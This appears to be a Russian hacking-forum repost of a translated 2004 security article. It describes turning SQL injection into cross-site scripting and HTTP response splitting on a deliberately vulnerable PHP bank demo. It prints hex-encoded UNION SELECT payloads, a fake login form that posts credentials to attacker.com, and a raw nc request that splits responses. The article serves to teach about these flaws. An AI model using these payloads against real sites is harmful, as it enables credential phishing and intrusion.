Столкнулся я с SiXSS багой зашел на antichat в поисках хоть какой-нибудь статейки что б понять что да как, но так и не нашел, полез в поисковики и вот достал ее,решил сюда выложить. Автор: Stefano Di Paola [stefano.dipaola a wisec.it] 20 Сентября 2004 Перевод: el Nitro [elnitro a hattack.ru] http://hattack.ru Введение SiXSS – SQL инъекции для межсайтового скриптинга Среда для тестирования Описание проблемы Реализация атаки Фишинг (The Phishing Attack) SiHRS – SQL инъекции для реализации атак HTTP Response Splitting Среда для тестирования Описание проблемы Реализация атаки Дополнение Заключение Введение Насколько серьезной является уязвимость класса Sql Injection? Она может обеспечить доступ к информации на сервере, дать возможность выполнять произвольные команды, получить привилегии администратора на web-форуме и многое другое... Как правило эта уязвимость возникает на стороне сервера, но эту уязвимость можно использовать на стороне клиента. Общедоступные и “самописные” CMS (Content Management System – Системы Управления Содержимым сайта) широко используются по ряду причин; одна из таких причин – удобное управление текстовой информацией и ссылками. Этот документ рассказывает о паре альтернативных путей использования Sql Injection. Предположим, что мы разработчики CMS, и эта CMS используется банком... Предположим, что мы случайно оставили уязвимость Sql Injection на web-странице. Но подождите! Нет проблем! Конфигурация базы данных запрещает доступа к файлам и т.д.[1], нет конкретной информации относительно базы данных, нет web-форумов и нет ничего лишнего на сервере... Всё же это может доставить некоторые проблемы... ~XSS (Cross Site Scripting – Межсайтовый Скриптинг) атаки [2][3] ~Фишинг ~HTTP Response Spliting атаки SiXSS – SQL инъекции для межсайтового скриптинга. Среда для тестирования Предположим, имеется база данных и таблица подобная этой: Code: <code> # The cms.sql file CREATE DATABASE cms; USE cms; GRANT SELECT ON cms.* TO 'user_noprivs'@'localhost' IDENTIFIED BY PASSWORD ''; CREATE TABLE content_table ( id INT PRIMARY KEY AUTO_INCREMENT, content TEXT ); INSERT INTO content_table (content) VALUES ('<h1>My Bank</h1> <p><form action="check.php" method=post> <table> <tr> <td>User:</td> <td><input type="text" name="username"></td> </tr> <tr> <td>Password:</td> <td><input type="password" name="pass"></td> </tr> <tr> <td><input type=submit value="LogIn"></td> </tr> </table> </form>'); </code> Также имеется php файл подобный этому (index.php): PHP: <code> <html> <head> <title>My Bank</title> </head> <body> <? if (@isset($_GET['id'])) { $myconns=@mysql_connect("127.0.0.1","user_noprivs","") or die ("sorry can't connect"); @mysql_select_db("cms") or die ("sorry can`t select DB"); $sql_query = @mysql_query( "select content from content_table where id=".$_GET['id']) or die("Sorry wrong SQL Query"); // oops SQL Injection - ^ while($tmp = @mysql_fetch_row($sql_query)) echo $tmp[0]; //echos the result as HTML code } else { echo "<h1>Welcome to My Bank</h1> <a href=\"?id=1\">Login</a>"; } ?> </body> </html> </code> Отметим, что запрос к MySQL ожидает получить текст, который будет отображен. Веб приложение анализирует контекст, в начале сеанса вы увидите страницу: После того, как пользователь щёлкнет по ссылке “Login” страница будет такой: Описание проблемы Этот вид проблем возникает всегда, когда текст из базы данных выводится в HTML страницу. Если мы попытаемся использовать классические или продвинутые SQL инъекции мы сможем получить информацию о SQL сервере и ничего более. В таких случаях появляется возможность использовать уязвимости на стороне клиента. Использование UNION SELECT даёт возможность злоумышленнику выводить в окно браузера произвольный текст. Реализация атаки Давайте используем трюк для обмана опции gpc_magic_quotes установленной в On. Воспользуемся особенностью MySQL, позволяющей преобразовать шестнадцатеричные значения вида 0xXX в текст: Code: <code> mysql> select HEX('<script>alert("SiXSS");</script>'); +------------------------------------------------------------------+ | HEX('<script>alert("SiXSS");</script>') | +------------------------------------------------------------------+ |3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E| +------------------------------------------------------------------+ 1 row in set (0.00 sec) </code> И поместим это в HTTP запрос: http://www.mybank.com?id=1+union+select+0x3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E И увидим ответ: Это и есть SQL Injection for Cross Site Scripting. Но что произойдет, если javascript отключен? Ничего. Фишинг (The Phishing Attack) Мы пришли к возможности использовать новую технику фишинга позволяющую внедрить произвольный HTML код. Это значит, что нет необходимости подделывать строку с адресом URL, закрывать её Text Box`ом, использовать две страницы показывающие Pop Up окна, не нужны Spyware и трояны[4]. Давайте используем тот же самый трюк для внедрения определенного html кода. HTML: mysql> select HEX('<h1>My Bank</h1><p><form action="http://attacker.com/check.php" method=post><table><tr><td>User: </td><td><input type="text" name="username"></td></tr><tr><td>Password: </td><td><input type="password" name="pass"></td></tr><tr><td><input type=submit value="LogIn"></td></tr></table></form>'); Шестнадцатеричный код будет выглядеть так: 3C68313E4D792042616E6B3C2F68313E3C703E3C666F726D20616374696 F6E3D22687474703A2F2F61747461636B65722E636F6D2F636865636B2E 70687022206D6574686F643D706F73743E3C7461626C653E3C74723E3C7 4643E557365723A203C2F74643E3C74643E3C696E70757420747970653D 227465787422206E616D653D22757365726E616D65223E3C2F74643E3C2 F74723E3C74723E3C74643E50617373776F72643A203C2F74643E3C7464 3E3C696E70757420747970653D2270617373776F726422206E616D653D2 270617373223E3C2F74643E3C2F74723E3C74723E3C74643E3C696E7075 7420747970653D7375626D69742076616C75653D224C6F67496E223E3C2 F74643E3C2F74723E3C2F7461626C653E3C2F666F726D3E Этот код предает введенные значения полей на адрес http://attacker.com/check.php Другая уловка должна использоваться для того, чтобы SELECT в исходном запросе всегда выдавал отрицательный результат. Добавим 'AND 1=3' и добавим в конец запроса наш UNION. http://www.mybank.com?id=1+and+1%3d3+UNION+SELECT+0x3C68.... HTML: <html> <head> <title>My Bank</title> </head> <body> <h1>My Bank</h1><p><form action="http://attacker.com/check.php" method=post><table><tr><td>User:</td><td><input type="text" name="username"></td></tr><tr><td>Password:</td><td><input type="password" name="pass"></td></tr><tr><td><input type=submit value="LogIn"></td></tr></table></form></p> </body> </html> Вместо реального HTML кода: $ curl "http://www.mybank.com?id=1" HTML: <html> <head> <title>My Bank</title> </head> <body> <h1>My Bank</h1><p><form action="check.php" method=post><table><tr><td>User:</td><td><input type="text" name="username"></td></tr><tr><td>Password:</td><td><input type="password" name="pass"></td></tr><tr><td><input type=submit value="LogIn"></td></tr></table></form> </body> </html> SiHRS – SQL инъекции для реализации атак HTTP Response Splitting Среда для тестирования В CMS или в рекламной системе может возникнуть необходимость в индексации адресов URL, запрос к базе данных должен возвращать URL по определенному id. Создадим среду для успешного применения SiXSS, на этот раз это будет система перенаправления. Code: <code> CREATE DATABASE url_db; USE url_db; GRANT SELECT ON url_db.* TO 'user2_nopriv'@'localhost' IDENTIFIED BY PASSWORD ''; CREATE TABLE url_table ( id INT PRIMARY KEY AUTO_INCREMENT, url TEXT ); INSERT INTO url_table (url) VALUES ('https://brokerage.mybank.com/login.php'); </code> для файла url_db.sql, и: PHP: <code> <? if (isset($_GET['id'])) { $myconns = mysql_connect("127.0.0.1","user2_nopriv","") or die("sorry can`t connect"); mysql_select_db("url_db") or die("sorry can`t select DB"); $sql_query = mysql_query("SELECT url from url_table where id=".$_GET['id']." LIMIT 1") or die("sorry3)"; $tmp = mysql_fetch_row($sql_query); header("Location: ".$tmp[0]); } else header("Location: http://www.mybank.com/index.php"); ?> </code> redir.php скрипт выполняющий перенаправление. Это означает, что если сформировать запрос подобно этому: $ curl “http://www.mybank.com/redir.php?id=1” -I мы получим ответ, который переадресует нас к другой странице: Code: HTTP/1.1 302 Found Date: Mon, 20 Sep 2004 21:08:03 GMT Server: Apache-AdvancedExtranetServer/2.0.48 (Mandrake Linux/6.1.100mdk) mod_perl/1.99_11 Perl/v5.8.3 PHP/4.3.8 mod_ssl/2.0.48 OpenSSL/0.9.7c X-Powered-By: PHP/4.3.8 Location: https://brokerage.mybank.com/login.php Content-Type: text/html Теоретически становится возможным выполнение атаки HTTP Response Splitting [5]. Описание проблемы Этот вид проблем возникает всегда, когда есть определенный URL полученный из базы данных для перенаправления, используя поле 'Location' HTTP заголовка. SIHRS должен быть проверен при проведение испытания на проникновение также как и SiXSS, HTTP Response Splitting, XSS и Phishing. Условия для проведения атаки могут быть ограничены как в примере с SiXSS, но должны быть удобны для использования UNION SELECT для внедрения классических строк, значение которых объясняется в [5]. Реализация атаки Только ради исследования этой концепции давайте рассмотрим простейший пример атаки: Code: <code> mysql> select HEX('index.php '> Content-Length: 0 '> '> HTTP/1.1 200 OK '> Content-Type: text/html '> Content-Length: 19 '> '> <html>Shazam</html> '> '); </code> Так это будет выглядеть в шестнадцатеричном коде: 696E6465782E7068700A436F6E74656E742D4C656E6774683A20300D0A0 D0A485454502F312E3120323030204F4B0D0A436F6E74656E742D547970 653A20746578742F68746D6C0D0A436F6E74656E742D4C656E6774683A2 031390D0A0D0A3C68746D6C3E5368617A616D3C2F68746D6C3E0D0A Далее мы отсылаем отравленный запрос: $ echo -ne "GET /redir.php?id=1+and+2%3d%34+union+select+0x 696E6465782E7068700A436F6E74656E742D4C656E6774683A20300D0A0 D0A485454502F312E3120323030204F4B0D0A436F6E74656E742D547970 653A20746578742F68746D6C0D0A436F6E74656E742D4C656E6774683A2 031390D0A0D0A3C68746D6C3E5368617A616D3C2F68746D6C3E0D0A HTTP/1.1\r Code: <code> Host: www.mybank.com\r Pragma: no-cache\r Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, */*\r \r " |nc www.mybank.com 80 HTTP/1.1 302 Found Date: Mon, 20 Sep 2004 22:58:21 GMT Server: Apache PHP/4.3.8 X-Powered-By: PHP/4.3.8 Location: index.php Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Content-Length: 19 <html>Shazam</html> Content-Length: 0 Content-Type: text/html </code> Для понимания, как это может быть использовано, обратитесь к источнику [5]. Дополнение Что случилось бы если вместо: Code: <code> echo $tmp[0]; //выводит результат в виде HTML кода </code> в index.php был вызов функции 'eval()' ? Code: <code> eval($tmp[0]); //eval выполняет php код расположенный в базе данных.. </code> На ум приходят страшные мысли.. Используя UNION SELECT мы можем выполнять любой php код, делая уязвимым сервер. К счастью — это редко используемая техника для CMS, но, в конце концов, кто знает? «Просто позвольте фантазии быть вашим кораблем в потоке сознания» ©... Заключение Мы показали, что случается, когда разработчики полагаются на хорошую конфигурацию сервера и уделяют меньше внимания безопасному программированию. Мы показали, что SQL инъекции даже в очень ограниченной среде могут таить в себе огромные уязвимости.
}{0TT@БЬ)Ч я также хотел написать про dll injection...так же популярна, слушай, ты случаем не тот самый? -) как-то заходил на форум хатабыча, да и настроение себе поднял - phpbb -)